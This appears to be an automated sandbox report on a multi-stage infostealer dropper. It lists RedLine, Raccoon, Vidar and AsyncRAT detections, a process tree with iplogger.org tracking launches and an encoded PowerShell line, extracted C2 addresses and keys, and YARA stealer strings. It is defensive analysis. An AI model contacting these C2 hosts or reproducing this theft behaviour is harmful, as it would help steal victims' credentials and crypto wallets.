Edit tour

Windows Analysis Report
em1B8DcC72.exe

Overview

General Information

Sample Name:	em1B8DcC72.exe
Analysis ID:	688477
MD5:	7dfcb4292184f62b7f2eb61bc1190ab8
SHA1:	1af3de70dec2c0d407ef2e161d947e32b42d9c15
SHA256:	81e0959262728a0870a5fd08f80207d1157bdf2e00dde7d8481450fa17f5d718
Tags:	exeRecordBreaker
Infos:

Detection

AsyncRAT, CryptOne, Raccoon Stealer v2, RedLine, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Detected unpacking (overwrites its own PE header)

Yara detected CryptOne packer

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Yara detected AsyncRAT

Antivirus detection for dropped file

Snort IDS alert for network traffic

Yara detected Raccoon Stealer v2

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected Vidar stealer

Yara detected MSILDownloaderGeneric

Multi AV Scanner detection for dropped file

Connects to many ports of the same IP (likely port scanning)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Encrypted powershell cmdline option found

Machine Learning detection for sample

.NET source code contains potential unpacker

Found many strings related to Crypto-Wallets (likely being stolen)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Yara detected Generic Downloader

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Machine Learning detection for dropped file

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

PE file contains strange resources

Drops PE files

Contains functionality to read the PEB

Found evasive API chain checking for process token information

Checks if the current process is being debugged

Binary contains a suspicious time stamp

PE file contains more sections than normal

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Found dropped PE file which has not been started or loaded

PE file contains executable resources (Code or Archives)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Queries information about the installed CPU (vendor, model number etc)

AV process strings found (often used to terminate AV products)

Sample file is different than original file name gathered from version info

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

System is w10x64

em1B8DcC72.exe (PID: 5856 cmdline: "C:\Users\user\Desktop\em1B8DcC72.exe" MD5: 7DFCB4292184F62B7F2EB61BC1190AB8)

chrome.exe (PID: 5156 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AEmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 588 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1808,i,3896296885310030640,3823508835286942682,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 2264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1ARmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 780 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 8024 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=5208 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7308 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=3348 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4204 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 2224 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=4196 --field-trial-handle=1644,i,3602242586607995985,8319811777123044389,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 4988 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AAmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7076 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1952 --field-trial-handle=1784,i,17582887386196209726,11872164080402614177,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 5248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AFmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7956 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1620 --field-trial-handle=1836,i,2712633263184333272,1787265188000872962,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 5476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AGmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7824 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1676 --field-trial-handle=1864,i,14791828141535856649,9635454994269298468,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6424 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AJmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6488 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1764 --field-trial-handle=1820,i,9522427136226525438,15642075344658028701,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AKmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6476 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1964 --field-trial-handle=1732,i,1947956738124087181,12136632337956308802,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AZmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 6952 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1816,i,3782769237029675981,13001374734431330952,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 7664 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.org/1AVmX4 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

chrome.exe (PID: 3160 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=1928 --field-trial-handle=1724,i,11796048362106728651,8580721197028235758,131072 /prefetch:8 MD5: 0FEC2748F363150DC54C1CAFFB1A9408)

F0geI.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Company\NewProduct\F0geI.exe" MD5: 501E0F6FA90340E3D7FF26F276CD582E)

kukurzka9000.exe (PID: 8076 cmdline: "C:\Program Files (x86)\Company\NewProduct\kukurzka9000.exe" MD5: 3EC059BD19D6655BA83AE1E644B80510)

namdoitntn.exe (PID: 644 cmdline: "C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe" MD5: BBD8EA73B7626E0CA5B91D355DF39B7F)

real.exe (PID: 4664 cmdline: "C:\Program Files (x86)\Company\NewProduct\real.exe" MD5: A2414BB5522D3844B6C9A84537D7CE43)

safert44.exe (PID: 6504 cmdline: "C:\Program Files (x86)\Company\NewProduct\safert44.exe" MD5: 414FFD7094C0F50662FFA508CA43B7D0)

jshainx.exe (PID: 6960 cmdline: "C:\Program Files (x86)\Company\NewProduct\jshainx.exe" MD5: 2647A5BE31A41A39BF2497125018DBCE)

brokerius.exe (PID: 5400 cmdline: "C:\Program Files (x86)\Company\NewProduct\brokerius.exe" MD5: F5D13E361F8B9ACA7103CB46B441034B)

captain09876.exe (PID: 7956 cmdline: "C:\Program Files (x86)\Company\NewProduct\captain09876.exe" MD5: CE94CE7DE8279ECF9519B12F124543C3)

SETUP_~1.EXE (PID: 2708 cmdline: C:\Users\user\AppData\Local\Temp\IXP000.TMP\SETUP_~1.EXE MD5: CE25658AC9291C713590B834D96406BB)

powershell.exe (PID: 7976 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA0AA== MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 5736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

ordo_sec666.exe (PID: 6652 cmdline: "C:\Program Files (x86)\Company\NewProduct\ordo_sec666.exe" MD5: 63FD052610279F9EB9F1FEE8E262F2A4)

ffnameedit.exe (PID: 2416 cmdline: "C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe" MD5: 3243054D3ACD513ABCC72EE1D1B65C97)

EU1.exe (PID: 1540 cmdline: "C:\Program Files (x86)\Company\NewProduct\EU1.exe" MD5: 98FC1DECB8429B80180D484F107DABF1)

rundll32.exe (PID: 3960 cmdline: C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\ MD5: 73C519F050C20580F8A62C849D49215A)

cleanup

Malware Configuration

Threatname: Raccoon

{"C2 url": ["http://193.56.146.177"], "Bot ID": "afb5c633c4650f69312baef49db9dfa4", "RC4_key1": "afb5c633c4650f69312baef49db9dfa4"}

Threatname: RedLine

{"C2 url": ["insttaller.com:40915"], "Bot Id": "Molecule JK", "Authorization Header": "abb046f9600c78fd9272c2e96c3cfe48"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Program Files (x86)\Company\NewProduct\safert44.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c60:$pat14: , CommandLine: 0x25b6b:$v2_1: ListOfProcesses 0x25920:$v4_3: base64str 0x265de:$v4_4: stringKey 0x23fa6:$v4_5: BytesToStringConverted 0x23080:$v4_6: FromBase64 0x24537:$v4_8: procName 0x24867:$v5_1: DownloadAndExecuteUpdate 0x257f7:$v5_2: ITaskProcessor 0x24855:$v5_3: CommandLineUpdate 0x24846:$v5_4: DownloadUpdate 0x24cbd:$v5_5: FileScanning 0x241cd:$v5_7: RecordHeaderField 0x23e0e:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
C:\Program Files (x86)\Company\NewProduct\safert44.exe	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x26610:$a1: get_encrypted_key 0x25cb8:$a2: get_PassedPaths 0x245af:$a3: ChromeGetLocalName 0x25ec9:$a4: GetBrowsers 0x19f0:$a5: Software\Valve\SteamLogin Data 0x1290:$a6: %appdata%\ 0x259b4:$a7: ScanPasswords
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19ca8:$pat14: , CommandLine: 0x12ccd:$v2_1: ListOfProcesses 0x12a8d:$v4_3: base64str 0x136d1:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12964:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11eab:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
C:\Program Files (x86)\Company\NewProduct\jshainx.exe	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13703:$a1: get_encrypted_key 0x12dfc:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13006:$a4: GetBrowsers 0x19a38:$a5: Software\Valve\SteamLogin Data 0x192d8:$a6: %appdata%\ 0x12b21:$a7: ScanPasswords
C:\Program Files (x86)\Company\NewProduct\brokerius.exe	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x39138:$a2: wallet.dat 0x395c1:$b1: CC\%s_%s.txt 0x392c9:$b2: History\%s_%s.txt 0x392b5:$b3: Autofill\%s_%s.txt
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x19c9c:$pat14: , CommandLine: 0x12cd0:$v2_1: ListOfProcesses 0x12a90:$v4_3: base64str 0x136cb:$v4_4: stringKey 0x1123f:$v4_5: BytesToStringConverted 0x1033a:$v4_6: FromBase64 0x117b2:$v4_8: procName 0x11ac8:$v5_1: DownloadAndExecuteUpdate 0x12967:$v5_2: ITaskProcessor 0x11ab6:$v5_3: CommandLineUpdate 0x11aa7:$v5_4: DownloadUpdate 0x11ea8:$v5_5: FileScanning 0x11460:$v5_7: RecordHeaderField 0x110c8:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
C:\Program Files (x86)\Company\NewProduct\ffnameedit.exe	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x136fd:$a1: get_encrypted_key 0x12dff:$a2: get_PassedPaths 0x1182a:$a3: ChromeGetLocalName 0x13000:$a4: GetBrowsers 0x19a2c:$a5: Software\Valve\SteamLogin Data 0x192cc:$a6: %appdata%\ 0x12b24:$a7: ScanPasswords
C:\Program Files (x86)\Company\NewProduct\EU1.exe	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x38f18:$a2: wallet.dat 0x393a9:$b1: CC\%s_%s.txt 0x390a9:$b2: History\%s_%s.txt 0x39095:$b3: Autofill\%s_%s.txt
C:\Program Files (x86)\Company\NewProduct\real.exe	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x372e4:$a2: wallet.dat 0x37701:$b1: CC\%s_%s.txt 0x37475:$b2: History\%s_%s.txt 0x37461:$b3: Autofill\%s_%s.txt
C:\Program Files (x86)\Company\NewProduct\namdoitntn.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 9 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000003.372703549.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000003.427822281.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000003.453293334.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000003.378009822.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000020.00000000.414112277.0000000001233000.00000002.00000001.01000000.00000012.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x6b18:$a2: wallet.dat 0x6fa9:$b1: CC\%s_%s.txt 0x6ca9:$b2: History\%s_%s.txt 0x6c95:$b3: Autofill\%s_%s.txt
00000010.00000003.422052513.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000002.511481552.0000000000738000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x4705:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000000.374306011.0000000000472000.00000002.00000001.01000000.00000007.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x13301:$a1: get_encrypted_key 0x12a03:$a2: get_PassedPaths 0x1142a:$a3: ChromeGetLocalName 0x12c04:$a4: GetBrowsers 0x19628:$a5: Software\Valve\SteamLogin Data 0x18ec8:$a6: %appdata%\ 0x12728:$a7: ScanPasswords
00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.914041047.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000002.508696384.0000000000590000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000001B.00000002.854152661.000000000122A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000020.00000002.853532518.0000000001233000.00000002.00000001.01000000.00000012.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x6b18:$a2: wallet.dat 0x6fa9:$b1: CC\%s_%s.txt 0x6ca9:$b2: History\%s_%s.txt 0x6c95:$b3: Autofill\%s_%s.txt
00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000000.387215652.00000000007F3000.00000002.00000001.01000000.0000000C.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x2303:$a1: get_encrypted_key 0x19fc:$a2: get_PassedPaths 0x42a:$a3: ChromeGetLocalName 0x1c06:$a4: GetBrowsers 0x8638:$a5: Software\Valve\SteamLogin Data 0x7ed8:$a6: %appdata%\ 0x1721:$a7: ScanPasswords
00000010.00000003.372650762.0000000000767000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000003.447091298.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000020.00000002.848648835.00000000006BA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.920362075.0000000002A82000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001F.00000002.917373442.0000000002E32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000003.370169416.00000000005A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000000.411195133.0000000000A13000.00000002.00000001.01000000.00000011.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x22fd:$a1: get_encrypted_key 0x19ff:$a2: get_PassedPaths 0x42a:$a3: ChromeGetLocalName 0x1c00:$a4: GetBrowsers 0x862c:$a5: Software\Valve\SteamLogin Data 0x7ecc:$a6: %appdata%\ 0x1724:$a7: ScanPasswords
00000010.00000003.372736978.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000003.439363201.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
0000001B.00000000.401599963.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x6b38:$a2: wallet.dat 0x6fc1:$b1: CC\%s_%s.txt 0x6cc9:$b2: History\%s_%s.txt 0x6cb5:$b3: Autofill\%s_%s.txt
00000010.00000003.440620172.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x8e511:$a1: get_encrypted_key 0x8dc13:$a2: get_PassedPaths 0x8c63e:$a3: ChromeGetLocalName 0x8de14:$a4: GetBrowsers 0x94840:$a5: Software\Valve\SteamLogin Data 0x940e0:$a6: %appdata%\ 0x8d938:$a7: ScanPasswords
00000001.00000003.329860040.00000000029F0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0xce92c:$a2: wallet.dat 0xcedbd:$b1: CC\%s_%s.txt 0xceabd:$b2: History\%s_%s.txt 0xceaa9:$b3: Autofill\%s_%s.txt
00000017.00000000.381266981.0000000000C32000.00000002.00000001.01000000.0000000B.sdmp	Windows_Trojan_RedLineStealer_3d9371fd	unknown	unknown	0x26410:$a1: get_encrypted_key 0x25ab8:$a2: get_PassedPaths 0x243af:$a3: ChromeGetLocalName 0x25cc9:$a4: GetBrowsers 0x17f0:$a5: Software\Valve\SteamLogin Data 0x1090:$a6: %appdata%\ 0x257b4:$a7: ScanPasswords
00000010.00000003.436109467.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.913700750.0000000002F84000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.908190046.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000012.00000002.403457395.0000000002540000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000012.00000002.399898990.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000010.00000002.501719211.0000000000400000.00000040.00000001.01000000.00000004.sdmp	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
00000015.00000000.379314046.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x56e4:$a2: wallet.dat 0x5b01:$b1: CC\%s_%s.txt 0x5875:$b2: History\%s_%s.txt 0x5861:$b3: Autofill\%s_%s.txt
00000015.00000002.881023621.0000000001063000.00000002.00000001.01000000.0000000A.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x56e4:$a2: wallet.dat 0x5b01:$b1: CC\%s_%s.txt 0x5875:$b2: History\%s_%s.txt 0x5861:$b3: Autofill\%s_%s.txt
0000001B.00000002.846627950.0000000000924000.00000002.00000001.01000000.0000000D.sdmp	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x6b38:$a2: wallet.dat 0x6fc1:$b1: CC\%s_%s.txt 0x6cc9:$b2: History\%s_%s.txt 0x6cb5:$b3: Autofill\%s_%s.txt
0000001E.00000003.445373628.00000000022BD000.00000040.00000800.00020000.00000000.sdmp	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6e:$xo1: _cbx+{ydlyjf+hjeed\x7F+in+y~e+be+ODX+fdon
Process Memory Space: F0geI.exe PID: 7880	JoeSecurity_RaccoonV2	Yara detected Raccoon Stealer v2	Joe Security
Process Memory Space: namdoitntn.exe PID: 644	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: namdoitntn.exe PID: 644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: real.exe PID: 4664	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: real.exe PID: 4664	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: real.exe PID: 4664	Windows_Trojan_Vidar_114258d5	unknown	unknown	0x1ff75:$a1: BinanceChainWallet 0x2c25e:$a2: wallet.dat 0x363d4:$a2: wallet.dat 0x2cb85:$b1: CC\%s_%s.txt 0x2cbbe:$b1: CC\%s_%s.txt 0x36cfb:$b1: CC\%s_%s.txt 0x36d34:$b1: CC\%s_%s.txt 0x2c90f:$b2: History\%s_%s.txt 0x2c9ed:$b2: History\%s_%s.txt 0x36a85:$b2: History\%s_%s.txt 0x36b63:$b2: History\%s_%s.txt 0x2c8fb:$b3: Autofill\%s_%s.txt 0x2c9da:$b3: Autofill\%s_%s.txt 0x36a71:$b3: Autofill\%s_%s.txt 0x36b50:$b3: Autofill\%s_%s.txt
Process Memory Space: safert44.exe PID: 6504	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: safert44.exe PID: 6504	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: jshainx.exe PID: 6960	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: jshainx.exe PID: 6960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: brokerius.exe PID: 5400	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: brokerius.exe PID: 5400	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
